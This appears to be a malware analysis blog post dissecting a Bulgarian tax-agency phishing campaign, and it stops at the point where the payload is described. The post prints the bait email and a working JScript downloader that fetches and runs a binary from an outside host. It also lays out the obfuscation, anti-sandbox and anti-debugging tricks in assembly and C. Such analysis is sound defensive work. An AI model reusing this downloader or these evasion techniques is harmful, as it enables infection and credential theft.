The good old scaremongering threat, targeting the Bulgarian users has returned, and this time it's in brand new pants.
For those how overslept it, here's how the threat looked:
STEP 1: A user receives a email with scary message, that requires him to view the attached file:
bait messageУважаеми госпожи и господа,
Национална агенция по приходите (НАП) напомня за промени в регламента и периодите за подаване на декларации в НАП. Необходимо е да се
запознаете с нововъведенията с цел спазване на всички срокове. Напомняме, че в случай на данъчно задължено лице, което не подаде
декларация по този Закон, не я подаде в срок, не посочи или невярно посочи данни или обстоятелства, водещи до определяне на дължимия
данък в по-малък размер или до неоснователно намаляване, преотстъпване или освобождаване от данък, се наказва с имуществена санкция в
размер от 500 до 3000 лв. При повторно нарушение имуществената санкция е в размер от 1000 до 6000.
Внимание!
Всички подробности касаещи изменения на регламента и сроковете ще намерите в прикачения файл.
Национална агенция за приходите.
STEP 2: The user downloads and executes the attached file (JScript file).
STEP 3: The executed file downloads and starts a payload file.
STEP 4: The payload infects the system, stealing the user's credentials (email passwords, browser cookies and saved passwords, certificates, etc.) and turns the machine into a botnet zombie, awaiting commands from the command and control server.
However, I'm not going to talk about the trojan itself (because it's already old).
Instead, I'll talk about its new obfuscations.
Let's go!
In depth analysis
The attached file is a obfuscated JavaScript executable file.
The obfuscation itself is easy to strip, so deobfuscated code looks like this:
downloader.jsvar fso = new ActiveXObject("Scripting.FileSystemObject");
var has_rights = new Function("var ibubgy = fso.GetParentFolderName('C:\\sfdfsdfsdfsd\\dfsdgddsaada');
if(ibubgy == 'C:') return true; else return false;");
if (has_rights()) {
fso = WScript.CreateObject("Scripting.FileSystemObject");
ws = WScript.CreateObject("WScript.Shell");
msxml2 = WScript.CreateObject("MSXML2.XMLHTTP");
adodb = WScript.CreateObject("ADODB.Stream");
tmpFolder = fso.GetSpecialFolder(2); // TemporaryFolder
tmpFilename = fso.GetTempName();
msxml2.open("GET", "http://groupcreatedt.at/jamaat.bin", false);
msxml2.send();
adodb.type = 1; // binary
adodb.Open();
adodb.Write(msxml2.ResponseBody);
adodb.SaveToFile(tmpFolder + tmpFilename);
adodb.Close();
ws.run("cmd.exe /c " + tmpFolder + tmpFilename, 0);
fso.deleteFile(WScript.ScriptFullName);
}
The downloaded file is a Visual Basic 6 compiled executable.
The Visual Basic is technically used as a basic layer of obfuscation, and like the JS obfuscation, is relatively easy to beat.
Basically, the VB code can be split in two parts - egg hunter:
Visual Basic 6Private Sub Form_Load() ' 48E3BC
Dim Me.global_84 As Variant
Dim var_C4 As Long
Me.global_84 = &H12404900
Me.global_84 = (Me.global_84 / 73)
If (Me.global_84 = 0) Then
Call Form_Load()
End If
Me.Textheight
var_C0 = CVar(Me.Currentx) ' Variant
Me.Arrange
var_C8 = Me.Picture
Call .DispID_FF5C
var_C4 = CLng(CInt(Me.Currentx))
loc_48E32A: ' Referenced from: 48E38C
If (Me.global_84 = 0) Then
Exit Sub
End If
If (Me.global_52 = -219001769) Then ' egghunting value 0xF2F24C57
GoTo loc_48E38F
End If
If CBool(Me.global_84 <> 0) Then
GetMem4(CLng(Me.global_84), Me.global_52, var_C4, "=") ' get four bytes
End If
Me.global_84 = (Me.global_84 + 1) ' increment the buffer pointer with 1
GoTo loc_48E32A
loc_48E38F: ' Referenced from: 48E34B
Me.global_84 = (Me.global_84 + 3) ' skip the egghunt value
Call Proc_0_2(CLng(Me.global_84)) ' execute the loader
Exit Sub
End Sub
And loader stub:
Visual Basic 6Private Sub Proc_0_2(arg_C) ' 48E254
Dim var_8C As Long
Dim var_B8 As Double
Dim var_DC As Variant
Dim var_F4 As Double
Dim var_88 As Long
var_B0 = TimeValue(CStr(Time))
var_8C = CLng(var_B0)
var_B8 = Log(%x1)
var_DC = var_CC
MidB
var_C8 = var_B0 ' Variant
var_F4 = CDbl(Sgn(%x1))
Randomize(182)
If (App.Thread <> 0) Then
var_88 = EnumDesktops(0, arg_C, 0) ' execute the egghunted code using EnumDesktop function
End If
Exit Function
End Sub
The egghunt leads us here:
egghunted data; egg value in red, data in greenFF FF FF FF FF FF FF FF FF FF FF FF 57 4C F2 F2
81 FC 5C 2F 47 42 B9 FF FF FF 0F 80 FC 41 0F C8
...snip...
EnumDesktops is used to execute a shellcode, and that's pretty much everything the VB code does.
From here, the code flow goes as standard x86 assembly code execution in a shellcode-like manner:
shellcode.text:00403ECC _egg_value dd 0F2F24C57h
.text:00403ED0 cmp esp, 42472F5Ch ; obfuscation
.text:00403ED6 mov ecx, 0FFFFFFFh ; obfuscation
.text:00403EDB cmp ah, 41h ; obfuscation
.text:00403EDE loc_403EDE: ; CODE XREF: .text:00403EE7
.text:00403EDE bswap eax ; obfuscation
.text:00403EE0 bswap eax ; obfuscation
.text:00403EE2 rdtsc ;/ Timeout/Delay
.text:00403EE4 cmp ah, 1Eh ;\
.text:00403EE7 loop loc_403EDE
.text:00403EE9 cmp dh, 20h ; obfuscation
.text:00403EEC jmp loc_4046AB
The obfuscation is a light one and it consists of messy code, double BSWAP and pointless CMP instructions:
shellcode.text:00403F39 cmp ebp, 4247FEC4h ; obfuscation
.text:00403F3F rdtsc ; obfuscation
.text:00403F41 bswap ecx ; obfuscation
.text:00403F43 bswap ecx ; obfuscation
.text:00403F45 paddd mm7, mm0
.text:00403F48 cmp ebp, 42481BBCh ; obfuscation
.text:00403F4E mov eax, esp
.text:00403F50 cmp ax, 2964h ; obfuscation
.text:00403F54 mov eax, [eax+2Ch]
.text:00403F57 cmp ch, 0CAh ; obfuscation
.text:00403F5A movd mm2, eax
.text:00403F5D cmp edi, 42484369h ; obfuscation
.text:00403F63 pxor mm2, mm7
.text:00403F66 cmp dx, 522Ah ; obfuscation
.text:00403F6B movd ecx, mm2
.text:00403F6E bswap eax ; obfuscation
.text:00403F70 bswap eax ; obfuscation
.text:00403F72 cmp ecx, 0
In three steps, a chunk of data is getting decrypted (obfuscation junk code is removed for clarity).
First the encrypted data is pushed into the stack:
shellcode00403F0F B1 48 MOV CL,48 ; size of the encrypted data
00403F11 80E9 04 SUB CL,4
00403F1F FF340B PUSH DWORD PTR DS:[EBX+ECX] ; push DWORD of the encrypted data in the stack
00403F25 80F9 00 CMP CL,0
00403F28 ^75 E7 JNZ SHORT sample3_.00403F11
Next the key is picked by this odd contraption here, that I guess is also used as a delay procedure:
shellcode00403F2E 41 INC ECX
00403F32 0F6EC1 MOVD MM0,ECX
00403F39 0F31 RDTSC ; generate more cycles as delay?
00403F45 0FFEF8 PADDD MM7,MM0
00403F4E 89E0 MOV EAX,ESP
00403F54 8B40 2C MOV EAX,DWORD PTR DS:[EAX+2C] ; 0x2C value from the stack is 0xC5ACB5B2
00403F5A 0F6ED0 MOVD MM2,EAX
00403F63 0FEFD7 PXOR MM2,MM7
00403F6B 0F7ED1 MOVD ECX,MM2
00403F72 83F9 00 CMP ECX,0
00403F75 ^75 C2 JNZ SHORT sample3_.00403F39
00403F7B 0F7EFE MOVD ESI,MM7 ; ESI is holding the DWORD key
Finally the decryption is executed:
shellcode00403F81 BB 48000000 MOV EBX,48 ; size of the encrypted data
00403F8C 4B DEC EBX ;/ EBX minus 4
00403F9B 4B DEC EBX ;|
00403FA2 4B DEC EBX ;|
00403FA9 4B DEC EBX ;\
00403FAE FF341C PUSH DWORD PTR SS:[ESP+EBX] ;/ Get stack value in EAX
00403FB5 58 POP EAX ;\
00403FB9 E8 27020000 CALL sample3_.004041E5 ; this call is simply EAX ^ ESI
00403FC1 89041C MOV DWORD PTR SS:[ESP+EBX],EAX ; store the decrypted DWORD
00403FC9 83FB 00 CMP EBX,0 ; loop limit
00403FCC ^75 BE JNZ SHORT sample3_.00403F8C
Put up in C, the whole thing looks like this:
XOR decrypt implementation#include <windows.h>
#include <stdio.h>
int main() {
int i;
byte data[] = {
0xB2, 0xA5, 0xEC, 0xC5, 0xE7, 0x3E, 0x40, 0x46, 0x5E, 0xB9, 0xFA, 0x48, 0xB2, 0xB5, 0xA8, 0xC5,
0x9B, 0x43, 0x85, 0x33, 0xD9, 0xD0, 0xDE, 0xAB, 0xD7, 0xD9, 0x9F, 0xF7, 0xB2, 0xB5, 0xAC, 0xC5,
0xE4, 0xDC, 0xDE, 0xB1, 0xC7, 0xD4, 0xC0, 0x84, 0xDE, 0xD9, 0xC3, 0xA6, 0xB2, 0xB5, 0xAC, 0xC5,
0xC7, 0xC6, 0xC9, 0xB7, 0x81, 0x87, 0xAC, 0xC5, 0xF7, 0xDB, 0xD9, 0xA8, 0xE5, 0xDC, 0xC2, 0xA1,
0xDD, 0xC2, 0xDF, 0xC5, 0x4A, 0xCF, 0xF9, 0x38
};
for(i = 0x00; i < 0x48; i += 0x04) {
*(DWORD*)&data[i] ^= 0xC5ACB5B2;
}
return 0;
}
Just looking the decrypted data as is, we can easily determine it's structured and upon further investigation, the details are fully reviewed:
Obfuscator config structurestruct STUB_CONFIG {
DWORD VB_IAT; // 00401000
byte EP_DllFunctionCall[8]; // 55 8B EC 83 EC 0C 56 8D
DWORD u3; // 0x00040000
DWORD key_egg; // 0xF629F629
char szLibName1[]; // "kernel32"
char szLibAPI1[]; // "VirtualAlloc"
DWORD WindowCounter; // 0x00000000
char szLibName2[]; // "user32"
char szLibAPI2[]; // "EnumWindows"
DWORD u5; // 0xFD557AF8
};
The VB_IAT is pointing to the IAT table in the file:
IAT00401000 > . 4DCCA172 DD MSVBVM60.rtcLog
00401004 > . 683BA472 DD MSVBVM60.MethCallEngine
00401008 > . 7B6FA272 DD MSVBVM60.rtcMidVar
0040100C > . 3ACDA172 DD MSVBVM60.rtcRandomize
00401010 > . 749BA072 DD MSVBVM60.EVENT_SINK_AddRef
00401014 > . FDA09472 DD MSVBVM60.DllFunctionCall
00401018 > . 879BA072 DD MSVBVM60.EVENT_SINK_Release
0040101C > . 859AA072 DD MSVBVM60.EVENT_SINK_QueryInterface
00401020 > . DF47A272 DD MSVBVM60.__vbaExceptHandler
00401024 > . A4359472 DD MSVBVM60.ThunRTMain
Then, using a loop, the entry point of every entry in the IAT is compared to the EP_DllFunctionCall, which in this case is DllFunctionCall:
DllFunctionCall EP7294A0FD 55 PUSH EBP ; MSVBVM60.DllFunctionCall
7294A0FE 8BEC MOV EBP,ESP
7294A100 83EC 0C SUB ESP,0C
7294A103 56 PUSH ESI
7294A104 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
7294A107 57 PUSH EDI
7294A108 50 PUSH EAX
7294A109 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7294A10C 8365 FC 00 AND DWORD PTR SS:[EBP-4],0
7294A110 50 PUSH EAX
7294A111 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
Finally, the function DllFunctionCall is executed, with the given parameters (in my case these are "user32" and "EnumWindows") to obtain the requested procedure address.
The EnumWindows itself is used as a sandbox protection:
DllFunctionCall EP00404296 . E8 6CFDFFFF CALL sample3_.00404007 ; {
0040400B . 5B POP EBX ; takes the return address 0040429B
0040400F . 89E1 MOV ECX,ESP ; takes the stack pointer
00404014 . 83C1 0A ADD ECX,0A ;/ adjust the stack, thus pointing it to STUB_CONFIG.szLibAPI1
0040401C . 83C1 12 ADD ECX,12 ;\
00404025 . 51 PUSH ECX ; lParam is the adjusted stack
0040402A . 53 PUSH EBX ; lpEnumFunc is the return address
00404031 . FFD0 CALL EAX ; USER32.EnumWindows
00404037 . 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] ; get the WindowCounter value
0040403E . 83F8 0B CMP EAX,0B ; compare it with 0x0B
00404041 . 7C 35 JL SHORT sample3_.00404078 ; jumping here will cause a "runtime error" message and program exit
; more code...
;}
0040429B . 80FC 41 CMP AH,41 ;/ return address of the previous call.
;\ the instruction here is just obfuscation
0040429E . 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8]
004042A8 . 8B01 MOV EAX,DWORD PTR DS:[ECX] ;/ Increment the WindowCounter
004042AD . 40 INC EAX ;|
004042B1 . 8901 MOV DWORD PTR DS:[ECX],EAX ;\
004042B7 . B8 01000000 MOV EAX,1 ; return TRUE
004042C1 . C2 0800 RETN 8
Basically, what it does is to determine how many windows the system has right now.
Having in mind that the typical malware analysis virtual machine usually has the bare minimum of junk running, the malware developers decided that everything below 0x0B is considered as suspicious, therefore the further execution should stop.
A space for the next step of obfuscation is allocated using VirtualAlloc.
Here, the parameters for VirtualAlloc are built up:
Tweaking the VirtualAlloc parameters00404082 . BA 1E000000 MOV EDX,1E ;/
0040408A . 83C2 22 ADD EDX,22 ;|
00404093 . 52 PUSH EDX ;\ flProtect = 0x1E + 0x22 = 0x40 == PAGE_EXECUTE_READWRITE
00404098 . 81C2 D2070000 ADD EDX,7D2 ;/
004040A2 . 81C2 EE070000 ADD EDX,7EE ;|
004040AD . 52 PUSH EDX ;\ flAllocationType = 0x40 + 0x7D2 + 0x7EE = 0x1000 = MEM_COMMIT
004040B1 . 68 00490100 PUSH 14900 ; dwSize
004040BB . 6A 00 PUSH 0 ; lpAddress
004040C1 . FFD0 CALL EAX ; VirtualAlloc
Although they tried to hide the flProtect and flAllocationType values, the authors did nothing about obfuscating the dwSize value.
Like previously with the config stub, we again have a key "bruteforcing":
XOR key delay code00404766 > E8 6EF9FFFF CALL sample3_.004040D9 ; key locator procedure
004040D9 $ 80FC 9A CMP AH,9A ; junk code (obfuscation)
004040DC . 5E POP ESI ; get pointer to the encrypted shellcode start
004040E1 . B9 24450000 MOV ECX,4524 ; size of the encrypted shellcode
004040EB . 89C7 MOV EDI,EAX ; buffer for the decrypted shellcode
004040F1 > 83E9 04 SUB ECX,4 ; decrement with a sizeof(DWORD)
004040FA . FF340E PUSH DWORD PTR DS:[ESI+ECX] ;/ Move DWORD to the result buffer
00404103 . 8F040F POP DWORD PTR DS:[EDI+ECX] ;\
0040410A . 85C9 TEST ECX,ECX
0040410C .^75 E3 JNZ SHORT sample3_.004040F1 ; memcpy loop
00404111 > 66:81FA 5273 CMP DX,7352 ; junk code (obfuscation)
00404116 . 46 INC ESI ; the initial value of ESI doesn't matter
0040411C . 6A 00 PUSH 0 ;/ what these three instructions do is to take
00404122 . 58 POP EAX ;| the first DWORD from the encrypted data in EAX
00404129 . 0B07 OR EAX,DWORD PTR DS:[EDI] ;\
0040412E . E8 B2000000 CALL sample3_.004041E5 ; XOR EAX, ESI
00404137 . 3B4424 10 CMP EAX,DWORD PTR SS:[ESP+10] ; STUB_CONFIG.key_egg = 0xF629F629
0040413B .^75 D4 JNZ SHORT sample3_.00404111 ; key egghunting loop
00404143 . 31C9 XOR ECX,ECX ; zero the iterator for the final decrypt loop
0040414B . E9 A9040000 JMP sample3_.004045F9 ; jump to decryptor
00404150 > 66:81F9 E3E8 CMP CX,0E8E3 ; junk code (obfuscation)
00404155 . FFE7 JMP EDI ; jump to decrypted shellcode EP
0040476B . 41 INC ECX ; encrypted shellcode start
0040476C . 2D D5D6F84B SUB EAX,4BF8D6D5
Basically this code "bruteforces" the right key value like this:
XOR key delay codeDWORD i;
for(i = 0; i < 0xFFFFFFFF; i++) {
if ((i^0xD6D52D41) == 0xF629F629) {
printf("Key found: %08lX", i);
}
}
To get the correct key, I can simply do
0xF629F629 ^ 0xD6D52D41 = 0x20FCDB69
The final decryption routine is again a DWORD key XOR encryption and looks like this:
XOR key delay code004045F9 > 31340F XOR DWORD PTR DS:[EDI+ECX],ESI ; decrypt DWORD of the encrypted shellcode
004045FC . 80FF FB CMP BH,0FB ; junk code (obfuscation)
004045FF . 66:83E9 FC SUB CX,0FFFC ; a "fancy" way to add 4 to CX
00404603 . 0FCB BSWAP EBX ; junk code (obfuscation)
00404605 . 0FCB BSWAP EBX ; junk code (obfuscation)
00404607 . 81F9 24450000 CMP ECX,4524 ; loop limit
0040460D .^75 EA JNZ SHORT sample3_.004045F9 ; decrypt loop
0040460F . 81FF 5C574E42 CMP EDI,424E575C ; junk code (obfuscation)
00404615 .^E9 36FBFFFF JMP sample3_.00404150 ; jump to the shellcode executor
The shellcode
The shellcode has interesting topology:
Decrypted shellcode start01230000 29F6 SUB ESI,ESI ; Shellcode EP
01230002 29F6 SUB ESI,ESI
01230004 90 NOP
01230005 90 NOP
; ... snip ...
01230370 90 NOP
01230371 90 NOP
01230372 E9 091B0000 JMP 01231E80 ; actual code start
In the shellcode there's a few places like that, filled with NOP instructions and although these NOPS are part of the code flow, they are later used as memory space.
The code flow is chunked by a JMP based obfuscation:
shellcode obfuscation styleseg000:00000372 jmp loc_00001E80 ; code start
seg000:00000377 ?getString_kernel32 proc ; 2nd chunk
seg000:00000377 pop ecx ; "kernel32" string pulled from the return address
seg000:00000378 mov ss:szKernel32[ebp], ecx
seg000:0000037B jmp loc_1E63
seg000:0000037B ?getString_kernel32 endp
seg000:00000380 ?getProcAddress_GetTickCount proc ; 4th chunk
seg000:00000380 pop edx ; "GetTickCount" string pulled from the return address
seg000:00000381 call ?getProcAddress
seg000:00000386 mov ss:hGetTickCount[ebp], eax
seg000:0000038C mov ecx, ss:szKernel32[ebp]
seg000:0000038F jmp loc_20FA ; to 5th chunk, and so on
seg000:0000038F ?getProcAddress_GetTickCount endp
; other code
seg000:00001E63 loc_1E63: ; 3rd chunk
seg000:00001E63 call ?getProcAddress_GetTickCount
seg000:00001E68 aGettickcount db 'GetTickCount',0
; other code
seg000:00001E80 loc_00001E80: ; 1st chunk
seg000:00001E80 call ?getString_kernel32
seg000:00001E85 aKernel32 db 'kernel32',0
There's a few interesting code parts worth mentioning, like this GetProcAddress implementation used to hide the imported API functions:
GetProcAddress implementationseg000:00000772 ?getProcAddress proc near
seg000:00000772 mov esi, 401000h ; VB IAT
seg000:00000777 loc_777:
seg000:00000777 lodsd
seg000:00000778 cmp dword ptr [eax], 83EC8B55h ; DllFunctionCall EP
seg000:0000077E jnz short loc_777
seg000:00000780 cmp dword ptr [eax+4], 8D560CECh ; DllFunctionCall EP+4
seg000:00000787 jnz short loc_777
seg000:00000789 xor ebx, ebx
seg000:0000078B push ebx
seg000:0000078C push ebx
seg000:0000078D push ebx
seg000:0000078E push esp
seg000:0000078F push 40000h
seg000:00000794 push edx
seg000:00000795 push ecx
seg000:00000796 push esp
seg000:00000797 call eax ; DllFunctionCall EP
seg000:00000799 add esp, 1Ch
seg000:0000079C retn
seg000:0000079C ?getProcAddress endp
Few trivial debug protections as code execution delay and PEB.BeingDebugged check:
Delay and PEB.BeingDebugged checkseg000:00000394 sub_394 proc near ; CODE XREF: sub_3E1:loc_20FA
seg000:00000394 pop edx
seg000:00000395 call ?getProcAddress ; Sleep
seg000:0000039A mov ss:hSleep[ebp], eax
seg000:000003A0 call ss:hGetTickCount[ebp] ; Get initial time
seg000:000003A6 push eax
seg000:000003A7 push 7D0h ;/ 2 seconds delay
seg000:000003AC call ss:hSleep[ebp] ;\
seg000:000003B2 call ss:hGetTickCount[ebp] ; Get delay time
seg000:000003B8 pop ebx
seg000:000003B9 sub eax, ebx ; calculate the timeout
seg000:000003BB cmp eax, 5DCh ; 1500 milliseconds
seg000:000003C0 jb loc_44F ; if the delay between initial and final timer
; is under a second and a half - jump and skip the debug checks
; however, this will never happen, because the 2sec Sleep
seg000:000003C6 mov eax, fs:[18h] ; Linear address of TEB
seg000:000003CC mov eax, [eax+30h] ; Linear address of Process Environment Block
seg000:000003CF cmp byte ptr [eax+2], 1 ; PEB.BeingDebugged
seg000:000003D3 jz loc_2330 ; Jump to crash
seg000:000003D9 mov ecx, ss:szKernel32[ebp]
seg000:000003DC jmp loc_1E9A
A user interaction check, that can possibly mislead some of the sandbox setups is present here:
mouse activity checkseg000:0000047B call eax ; initial GetCursorPos
seg000:0000047D cmp eax, 0 ;/ if the function fails, this jump is taken
seg000:00000480 jz loc_2330 ;\ and crashes the application
seg000:00000486 movq mm0, qword ptr [esp] ; takes the initial mouse pointer coordinates
seg000:0000048A loc_48A:
seg000:0000048A push 1
seg000:0000048C call ss:hSleep[ebp]
seg000:00000492 push esp
seg000:00000493 call ss:hGetCursorPos[ebp] ; second GetCursorPos
seg000:00000499 cmp eax, 0
seg000:0000049C jz loc_2330 ; on error, jump to crash the application again
seg000:000004A2 movq mm1, qword ptr [esp]
seg000:000004A6 pcmpeqd mm1, mm0 ; compare the initial and the second mouse pointer coordinates
seg000:000004A9 movd ecx, mm1
seg000:000004AC cmp ecx, 0 ;/ if the mouse didn't moved
seg000:000004AF jnz short loc_48A ;\ the application will "hang" in endless loop
Another debug check, this time verifying the NtGlobalFlag value from the PEB:
PEB.NtGlobalFlag checkseg000:000004B7 mov ebx, fs:[30h] ; Linear address of Process Environment Block (PEB)
seg000:000004BE mov bl, [ebx+68h] ; PEB.NtGlobalFlag
seg000:000004C1 and bl, 70h ; FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
seg000:000004C4 cmp bl, 70h
seg000:000004C7 jz loc_2330 ; jump if debugger is present and crash the program
And a MMX feature flags verification, using CPUID:
MMX instruction set support check006304CD B8 01000000 MOV EAX,1 ; EAX=1: Processor Info and Feature Bits
006304D2 0FA2 CPUID
006304D4 89D0 MOV EAX,EDX ; feature flags
006304D6 C1E8 17 SHR EAX,17 ; MMX instructions support
006304D9 83E0 01 AND EAX,1
006304DC 83F8 01 CMP EAX,1
006304DF 0F85 4B1E0000 JNZ 00632330 ; jump and crash the program
There are quite a few "configuration" based spots in the code, that suggest this code is part of a configurable obfuscation toolbox:
unused configurable functionalitiesseg000:0000229C loc_229C:
seg000:0000229C call sub_5DC ; start
seg000:000022A1 _drop_temp dd 0
; more code
seg000:000005DC sub_5DC
seg000:000005DC pop eax
seg000:000005DD mov eax, [eax] ; take _drop_temp
seg000:000005DF mov ss:_flag_drop_temp[ebp], eax ; and store it here
seg000:000005E2 call sub_1446 ; take this call
seg000:000005E7 mov ss:_szCommandLine[ebp], eax
seg000:000005ED cmp eax, 1 ; condition from the sub_1446 result
seg000:000005F0 jz short loc_600
; more code
seg000:00001446 sub_1446 proc near
seg000:00001446 mov eax, ss:_flag_drop_temp[ebp] ; reference to _drop_temp value
seg000:00001449 cmp eax, 0 ; condition based on _drop_temp
seg000:0000144C jz locret_1533 ; skip the rest if _drop_temp == 0
seg000:00001452 mov eax, fs:[18h] ; Linear address of TEB
seg000:00001458 mov eax, [eax+30h] ; TEB.PEB
seg000:0000145B mov eax, [eax+10h] ; PEB.PPEB_LDR_DATA
seg000:0000145E mov eax, [eax+48h] ; RTL_USER_PROCESS_PARAMETERS.Environment
seg000:00001461 mov ss:_szEnvVars[ebp], eax
seg000:00001464 sub eax, 2
seg000:00001467 jmp loc_1E54 ; continue with the _drop_temp procedure
; more code
seg000:00001533 locret_1533:
seg000:00001533 retn ; return back to 000005E7
Depending on config values like this, the shellcode can copy its payload to %TEMP%, drop a .VBS based autorun script, execute the autorun script and so on.
Interestingly enough, each one of these actions can be enabled separately, leading to odd scenarios like, for example, dropping the payload, but not setting the autorun .VBS
The rest of the code is pretty standard for a malware.
First there's a egghunt that locates the decryption key:
egg huntingseg000:00001A26 pop ebx
seg000:00001A27 mov ebx, [ebx] ; egghunting DWORD = 0x3BE05B3D
seg000:00001A29 mov edi, ss:buffVirtualMem[ebp] ; buffer allocated before
seg000:00001A2C mov eax, fs:[30h] ; PEB
seg000:00001A32 mov eax, [eax+8] ; PEB.ImageBaseAddress
seg000:00001A35 xor ecx, ecx
seg000:00001A37 _egghunt_begin_3BE05B3D:
seg000:00001A37 inc ecx
seg000:00001A38 cmp ebx, [eax+ecx]
seg000:00001A3B jnz short _egghunt_begin_3BE05B3D
seg000:00001A3D add ecx, 4
seg000:00001A40 mov edx, 1000h
seg000:00001A45 _egghunt_end_3BE05B3D:
seg000:00001A45 cmp [eax+ecx], ebx
seg000:00001A48 jz short loc_1A54
seg000:00001A4A mov esi, [eax+ecx]
seg000:00001A4D mov [edi+edx], esi
seg000:00001A50 inc ecx
seg000:00001A51 inc edx
seg000:00001A52 jmp short _egghunt_end_3BE05B3D
This code locates the data block below:
first egghunt; egg values in red, data in green0044D766 ED 05 77 99 79 E9 78 6F 79 E9 78 6F 3D 5B E0 3B
0044D776 65 58 3A 94 86 F6 61 DA F7 E4 1E 2D 76 E0 E7 16
0044D786 46 2C BD 0B 67 CA 29 0D D9 75 A1 A4 9C B4 6A 48
0044D796 6B 01 41 3D 8C 9E AC 83 FE 49 24 D6 7D 88 EE 7A
0044D7A6 91 D5 08 6F B1 72 2F B5 23 1D A7 4C A2 5D 71 F0
0044D7B6 72 A9 8B E5 D7 47 B2 2B 04 F1 2B 7E C7 31 F4 23
0044D7C6 97 7D 0E 18 B8 1B 36 5E 2A C6 F2 F5 ED 05 77 99
0044D7D6 BC 52 92 8E DD EF FD D4 4F 9A 75 27 CE D9 3F CB
0044D7E6 E2 26 15 C0 02 80 80 06 30 6E F8 59 F3 6A C2 41
0044D7F6 C3 FA DC 36 E4 54 03 38 55 42 7C CF 18 3E 45 74
0044D806 E8 CE 5F 69 09 28 87 AF 7B 17 FF 02 FA 12 C8 EA
0044D816 0D 5F E3 DF 2E FC 0A E1 5C EB 82 78 1F E6 4C 1C
0044D826 EF 33 66 11 0F D1 D1 57 81 BF 49 AA 44 BB 13 4E
0044D836 14 07 E9 43 35 A5 54 89 A6 93 CD 20 25 8F 96 C5
0044D846 3D 5B E0 3B FF FF FF FF FF FF FF FF FF FF FF FF
The second egghunt (egg value 0x6F78E979) is quite different.
First it locates the following 0x588 bytes long data block:
second egghunt; egg values in red, chunks data in green, chunk padding in blue00406A90 DB FC C8 A1 2D 03 DF E0 DE FC 20 FF FF FF 79 E9
00406AA0 78 6F 9B 28 9D 28 9C 28 9B 28 9A 28 9B 28 9D 28
00406AB0 9D 28 9D 28 9D 28 9D 28 99 28 9A 28 99 28 9B 28
00406AC0 99 28 9A 28 99 28 9D 28 9D 28 99 28 9B 28 99 28
00406AD0 9B 28 9C 28 9D 28 99 28 9D 28 99 28 9A 28 99 28
...snip...
0044D6E0 66 11 0F D1 D1 57 81 BF 49 AA 44 BB 13 4E 14 07
0044D6F0 E9 43 35 A5 54 89 A6 93 CD 20 25 8F 96 C5 65 58
0044D700 3A 94 00 00 00 00 00 00 00 00 00 00 00 00 86 F6
0044D710 61 DA F7 E4 1E 2D 76 E0 E7 16 46 2C BD 0B 67 CA
0044D720 29 0D D9 75 A1 A4 9C B4 6A 48 6B 01 41 3D 8C 9E
0044D730 AC 83 FE 49 24 D6 7D 88 EE 7A 91 D5 08 6F B1 72
0044D740 2F B5 23 1D A7 4C A2 5D 71 F0 72 A9 8B E5 D7 47
0044D750 B2 2B 04 F1 2B 7E C7 31 F4 23 97 7D 0E 18 B8 1B
0044D760 36 5E 2A C6 F2 F5 ED 05 77 99 79 E9 78 6F 79 E9
0044D770 78 6F 3D 5B E0 3B 65 58 3A 94 86 F6 61 DA F7 E4
Then XOR decrypts it using key 0x2897, to produce a "chunk table" of WORD sized values:
decrypted chunk table002E0000 0C 00 0A 00 0B 00 0C 00 0D 00 0C 00 0A 00 0A 00
002E0010 0A 00 0A 00 0A 00 0E 00 0D 00 0E 00 0C 00 0E 00
002E0020 0D 00 0E 00 0A 00 0A 00 0E 00 0C 00 0E 00 0C 00
002E0030 0B 00 0A 00 0E 00 0A 00 0E 00 0D 00 0E 00 0A 00
002E0040 0E 00 0E 00 0D 00 0B 00 0E 00 0B 00 0C 00 0E 00
002E0050 0C 00 0D 00 0C 00 0C 00 0A 00 0E 00 0E 00 0D 00
002E0060 0A 00 0E 00 0C 00 0E 00 0B 00 0C 00 0B 00 0C 00
Here's how it works:
- every chunk is with predefined length of 0x18C bytes;
- every value in the chunk table defines the chunk padding value;
So, we have a 0x18C bytes of data, then 0x000C bytes of unused padding, another 0x18C bytes of data, 0x000A bytes of padding and so on.
Simple calculation of 0x588 (chunk table size) divided by 2 (size of a WORD) means we have 0x2C4 chunks.
Now 0x2C4 chunks times 0x18C (size of each chunk) gives us 0x44730 bytes of total chunked data.
However, because the egghunting is begin and end delimited, the last chunk can be smaller than 0x18C bytes, so the complete size of the data is actually 0x44600
This data is the encrypted payload of the malware.
The decryption routine goes like this:
decryption codeseg000:00001BA4 emms
seg000:00001BA6 mov edx, ss:_buff_chunked_data[ebp] ; Encrypted payload data
seg000:00001BA9 mov ecx, ss:_size_chunked_data[ebp] ; Encrypted payload data length
seg000:00001BAC add edx, ecx
seg000:00001BAE neg ecx
seg000:00001BB0 mov ebx, ss:_eggdata1_length[ebp] ; key length
seg000:00001BB3 mov eax, edi
seg000:00001BB5 add eax, 1000h
seg000:00001BBA add eax, ebx
seg000:00001BBC mov esi, eax
seg000:00001BBE neg ebx
seg000:00001BC0 mov edi, ebx
seg000:00001BC2 loc_1BC2:
seg000:00001BC2 mov eax, [edx+ecx] ; DWORD from the encrypted data
seg000:00001BC5 add ebx, esi
seg000:00001BC7 movd mm0, eax
seg000:00001BCA movd mm1, dword ptr [ebx] ; DWORD from the key
seg000:00001BCD pxor mm0, mm1 ; XOR
seg000:00001BD0 push ecx
seg000:00001BD1 movd ecx, mm0
seg000:00001BD4 mov al, cl ; take only the last byte
seg000:00001BD6 pop ecx
seg000:00001BD7 sub ebx, esi
seg000:00001BD9 add ebx, 1 ; key + 1
seg000:00001BDC jnz short loc_1BE0
seg000:00001BDE mov ebx, edi
seg000:00001BE0 loc_1BE0:
seg000:00001BE0 mov [edx+ecx], eax ; store back the decrypted byte
seg000:00001BE3 add ecx, 1 ; data + 1
seg000:00001BE6 jnz short loc_1BC2
seg000:00001BE8 emms
seg000:00001BEA retn
It's odd looking assembly code, but written in C, it's pretty simple:
decryption code, implementation in Cfor(i = 0; i < data_size; i+=4) {
*(DWORD*)&data[i] ^= *(DWORD*)&key[i%key_size];
}
Decrypting the data results in a MZ-PE executable, with removed "MZ" signature:
